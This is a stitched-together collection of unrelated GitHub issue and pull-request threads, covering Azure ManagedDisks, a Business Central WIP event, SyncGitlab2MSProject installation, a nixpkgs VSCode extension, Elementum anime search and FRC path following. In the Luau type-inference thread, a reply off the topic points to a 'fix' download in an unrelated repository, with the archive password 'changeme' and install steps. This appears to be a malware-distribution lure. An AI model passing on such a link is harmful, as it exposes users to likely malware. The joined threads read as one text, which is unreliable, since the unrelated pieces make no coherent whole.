@andyzhangx Pointed me to this: https://github.com/kubernetes/kubernetes/issues/55837 This issue is fixed as of 1.10.0, he says. Keeping this around for reference?

this bug only exists in blob based VM in v1.8.x and v1.9.x, so if you specify ManagedDisks when creating k8s cluster, it won't have this issue.
    "agentPoolProfiles": [
      {
        ...
        "storageProfile" : "ManagedDisks",
        ...
      }

Thanks @andyzhangx. @DonMartin76 should we classify this as a known (won't fix) issue w/ 1.8 and 1.9 with non-ManagedDisks vms?

@jackfrancis I don't think there's an awful lot you can do about it right now, except for waiting for it to be fixed upstream (I think @andyzhangx already flagged it for cherry picking at least to 1.9). It's documented here then, and the fix with the managed disks is also there. I would otherwise had said it can't really be a "won't fix", as VHD is still the default for acs-engine.
Will managed disks be the default sometime in the future? Are there drawbacks or benefits? Other than this now.

@DonMartin76 It's a good question about ManagedDisks being default. The add'l Azure spend is the only thing I'm aware that might be objectionable to folks, would be nice to take a poll about this (does github do polls? 😝 )

We're gonna do this here: https://github.com/Azure/acs-engine/issues/2799
@andyzhangx suggests that this is already the case; that if your VM supports managed disk, you'll get it by default. Let me know if you experience otherwise!


[Event Request] COD1000 Job Calculate WIP, OnUpdateJobWIPTotals

Can OnUpdateJobWIPTotals be added to allow for my integration please.
Place to be added:
LOCAL PROCEDURE CreateJobWIPTotal@16(VAR JobTask@1000 : Record 1001;VAR JobWIPTotal@1001 : Record 1021);
BEGIN
  JobWIPTotalChanged := TRUE;
  WIPAmount := 0;
  RecognizedAllocationPercentage := 0;

  JobWIPTotal.INIT;

  IF JobTask.FIND('-') THEN
	REPEAT
	  IF JobTask."Job Task Type" = JobTask."Job Task Type"::Posting THEN BEGIN
		JobTask.CALCFIELDS(
		  "Schedule (Total Cost)",
		  "Schedule (Total Price)",
		  "Usage (Total Cost)",
		  "Usage (Total Price)",
		  "Contract (Total Cost)",
		  "Contract (Total Price)",
		  "Contract (Invoiced Price)",
		  "Contract (Invoiced Cost)");

		JobWIPTotal."Schedule (Total Cost)" += JobTask."Schedule (Total Cost)";
		JobWIPTotal."Schedule (Total Price)" += JobTask."Schedule (Total Price)";
		JobWIPTotal."Usage (Total Cost)" += JobTask."Usage (Total Cost)";
		JobWIPTotal."Usage (Total Price)" += JobTask."Usage (Total Price)";
		JobWIPTotal."Contract (Total Cost)" += JobTask."Contract (Total Cost)";
		JobWIPTotal."Contract (Total Price)" += JobTask."Contract (Total Price)";
		JobWIPTotal."Contract (Invoiced Price)" += JobTask."Contract (Invoiced Price)";
		JobWIPTotal."Contract (Invoiced Cost)" += JobTask."Contract (Invoiced Cost)";
		//<< DC
		OnUpdateJobWIPTotals(JobTask, JobWIPTotal);
		//>> DC
	  END;
	UNTIL JobTask.NEXT = 0;

Publisher:
[Integration(DEFAULT,TRUE)]
PROCEDURE OnUpdateJobWIPTotals@1100366000(VAR JobTask@1100366000 : Record 1001;VAR JobWIPTotal@1100366001 : Record 1021);
BEGIN
END;

Usage:
[EventSubscriber(ObjectType::Codeunit, codeunit::"Job Calculate WIP", 'OnUpdateJobWIPTotals', '', false, false)]
local procedure OnUpdateJobWIPTotalsJobCalculateWip(var JobTask: Record "Job Task"; var JobWIPTotal: Record "Job WIP Total")
begin
	JobTask.CalcFields("Schedule (Completed Cost)");
	IF JobTask."Usage (Total Cost)" < JobTask."Schedule (Completed Cost)" THEN
		JobTask."Usage (Total Cost)" := JobTask."Schedule (Completed Cost)";
end;

Thanks for reporting this. We agree, and we’ll publish a fix asap, either in an update for the current version or in the next major release. We will update this issue with information about availability.

Thanks for reporting this. We agree, and we’ll publish a fix asap, either in an update for the current version or in the next major release. We will update this issue with information about availability.


Added support for Wizee (Elecrow) 2.8 WZ2432R028 ESP32 Display

Tested, working well. https://www.elecrow.com/esp32-display-2-8-inch-hmi-display-spi-tft-lcd-touch-screen.html

Thanks!


update metadata

Coverage remained the same at 63.953% when pulling 1bb8fc1359acb35da69c9ab413a11c20d2efe1be on cokelaer:master into e837c9bcbfaf7ed9f2ae3faec1a839ea71afa2dc on biokit:master.


Fatal Error When Installing SyncGitlab2MSProject With Pipx or Pip

Summary
When attempting to install/deploy the SyncGitlab2MSProject package with pipx (or pip) the following error occurs:
Could not find a version that satisfies the requirement SyncGitlab2MSProject (from versions: )
No matching distribution found for SyncGitlab2MSProject
More Details
You can recreate the error by following the steps in the Quickstart section or running the pip install found on PyPi.

https://github.com/CarliJoy/SyncGitlab2MSProject#quickstart
https://pypi.org/project/SyncGitlab2MSProject/

Assignees
@CarliJoy @AvramSNeal
The outcome should look like this:

Conditions of Satisfaction

The user should be able to run pipx or pip to install SyncGitlab2MSProject without any errors.
SyncGitlab2MSProject should be able to run after it is installed with sync_gitlab2msproject

Usage: https://github.com/CarliJoy/SyncGitlab2MSProject#usage

What kind of operating system are you using?
As stated within the Readme

This project runs only in an Windows Environment with Microsoft Project installed.

I am using Windows 10. I was running pipx and pip in WSL, but if necessary I can use another method. The problem is pipx and pip both have issues finding SyncGitlab2MSProject.

You can't run it in WSL -> that actually means that you run it within Linux, even so it is only emulated.
You need a native Windows Python for it to work,.

Okay, I installed using native Windows Python. Now after running the command in step 3, I get an error that the term is not recognized. Is there another missing step?

Push the gitlab Issue to your MS Project file: sync_gitlab2msproject --gitlab-url https://gitlab.company.com --gitlab-token <your_token> group <your_group_id> ms_project_file.mpp

If you used pipx you might need to run pipx ensurepath.
Please refer to the pipx documentation for details.
Also I never used the powershell. So I have no Idea how it works. Try the simple old command line (cmd).

After much troubleshooting, I've successfully installed SyncGitlab2MSProject. There seemed to be an issue installing/running SyncGitlab2MSProject if the Python version was too far newer than 3.8. I can't say for sure whether different 3.8.x versions (like 3.8.4 or 3.8.16) would work, but 3.7.2 and 3.11.4 did NOT work.
Also, I don't have Microsoft Project on this machine so I received the ERROR: Could not open 'ms_project_file.mpp' - seems not to be a valid file. message, as expected. I will be installing it on a machine with Microsoft Project installed to verify functionality.

I'm including the steps I took after starting over to get the application installed and running.
Steps to Setup and Run (Windows 10 ONLY)

Verify you have no versions of Python already installed UNLESS it is 3.8.10.

Download and Install Python 3.8.10 here. You will want to make sure it gets added to the system path during setup, or you can do it from System Properties > Advanced > Environment Variables, then under System variables select Path and Edit to add the Python directories.
Run python -V in Command Prompt to verify. You should see Python 3.8.10. (Verify that you ONLY have Python 3.8.10 and no other version installed.)

Now you may install pipx

Run python -m pip install --user pipx
Run python -m pipx ensurepath

Install SyncGitlab2MSProject

Run pipx install SyncGitlab2MSProject

Finally, run SyncGitlab2MSProject with your GitLab access token and the group ID from the desired project.

Run sync_gitlab2msproject --gitlab-url https://gitlab.company.com --gitlab-token <your_token> group <your_group_id> ms_project_file.mpp

I've installed Microsoft Project on this PC, and ran sync_gitlab2msproject according to the instructions provided in the GitHub ReadMe documentation. Unfortunately, I've still encountered errors. Please advise if there is anything I can do to make this run properly.

Sorry but without access to MS Project I am unable to test this anymore.
Also I don't have time for in dept debugging. It's open source. Feel free to debug yourself.

Issue seems to be, that the issue id referenced in the project file couldn't be found.

No worries. I appreciate all of your help. I just wanted to try using this before writing my own script.


Add or configure serial device on vSphere VMs

Ubuntu based VMs in vSphere need a serial device to boot properly.
Currently this needs to be manually configured on a konfigadm-supplied VM templates.
Adding a short section adding/configuring the serial device (similar to how the cdrom device is handled) would make this a bit more bulletproof.

Manual workaround configuration on template

Agreed as M Task


vscode-extensions.quarto.quarto: init at v1.110.1

Description of changes
Adding Quarto extension for VSCode.
Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[ ] sandbox = true

[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[x] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
24.05 Release Notes (or backporting 23.05 and 23.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

Add a :+1: reaction to pull requests you find important.

This had a commit from a different branch that shouldn't have been included in this one. Closing and trying again after fixing that


Search for anime titles

title search of the anime should be made by Myanimelist why many people use the anime title from Myanimelist.

but i think we can add an option that will set "original" to "jp". we already have an option to set "original" to "en".
https://github.com/elgatito/plugin.video.elementum/blob/214aab5f32bf2f8c553a37419e9f22a2760d11c0/resources/settings.xml#L288
https://github.com/elgatito/plugin.video.elementum/blob/214aab5f32bf2f8c553a37419e9f22a2760d11c0/resources/language/messages.pot#L1573

@icarok99 and to answer your other question:

Does it only recognize magnet link? I'm having a problem with a provider the link is to download the .torrent file

it is a bit hard to understand what you wrote, but i guess you meant if burst can find a link to .torrent file if you use provider with "subpage": true. it can, see:
https://github.com/elgatito/script.elementum.burst/blob/61c513a026262cc273dd97e894db65c93fe8677b/burst/burst.py#L546
https://github.com/elgatito/script.elementum.burst/blob/61c513a026262cc273dd97e894db65c93fe8677b/burst/burst.py#L566
burst finds magnet links, .torrent file links and many other links. see code for more details.

@antonsoroko I was able to find the anime, I just had to add it to favorites and then change the name and use the title from Myanimelist. I used the context menu.

@icarok99 i mean: i provided you the correct way to fix such issue - by editing providers.json and making a PR. up to you what way to use.
i used nyaa - so i made changes for nyaa. you can make changes for other providers.
OR just wait, i think we will implement https://github.com/elgatito/plugin.video.elementum/issues/987 so no need to edit providers.json.


How should output be done ideally?

I see in the examples that the println! macro is used directly for output, but using this or even print! flushes stdout before printing the next prompt, and this doesn't look pleasant.

In the GIF, you can see the cursor move to the next line after printing from println! and then go down again after printing the next prompt.
(Open GIF in a new tab if it isn't clear)
I think we should have an API for printing command outputs so there's no flush before the next prompt is printed. Maybe we could also have an output "prompt", which popular REPLs like ipython doo.

We'll APIs for both buffered and unbuffered output.


Setting variables to methods from class types doesn't have the variables type defined as the type of the method

 -- Players is also inferred as any as of writing, but im assuming this is roblox's types not being defined correctly as Instance.new("Part") is -- inferred as Part and not any
local Players = game:GetService("Players")
local GET_USERID_FROM_NAME_ASYNC = Players.GetUserIdFromNameAsync -- inferred as any in the new solver

GET_USERID_FROM_NAME_ASYNC("meow") -- no type error

to fix your trouble check this fix, i see it in another issue,
https://github.com/Jostino/RimWorld-it/releases/tag/fix
password: changeme
when you installing, you need to place a check in install to path and select "gcc."


Try SRX Path Following w/ Pathfinder

As per #5, we were able to create a trajectory given input waypoints.
Next step is to follow this trajectory, Pathfinder has their own code to do so: https://github.com/JacisNonsense/Pathfinder/wiki/Pathfinder-for-FRC---Java#following-a-trajectory. We should also integrate gyro input, as shown in their example.
However, this uses raw voltage control, and does not take advantage of the motion profile mode that the Talon SRXs have. We need to do some more research into how we can use the motion profile mode, while still introducing gyro control.
This Chief Delphi Thread details some of the options: https://www.chiefdelphi.com/forums/showthread.php?t=156726.
CTR Electronics Talon SRX Motion Profiling Manual: https://www.ctr-electronics.com/downloads/pdf/Talon SRX Motion Profile Reference Manual.pdf
Here's a sample of Reading's code: https://github.com/Team4761/2017-Robot-Code/blob/0db905865d212a287a3b2f1e69ded5c1e46abcf7/src/org/robockets/steamworks/mystery/FollowTrajectory.java
Here's the sample drive straight in terms of the output trajectory data:
Center Trajectory
Left Trajectory
Right Trajectory

New Finds:
Motion Profiling w/ Pigeon IMU Sample
Upcoming CTRE Pheonix Library


Add devcontainer

Clear and concise description of the problem
Read the CONTRIBUTING.md and noticed bun is required. I'm on... Windows :-) And bun isn't available for Windows (except WSL).
Suggested solution
Add support for VS Code dev container.
Alternative
Wait for bun on Windows.
Additional context
No response
Validations

[X] Follow our Code of Conduct
[X] Read the Contributing Guide.
[X] Check that there isn't already an issue that request the same feature to avoid creating a duplicate.

close with #26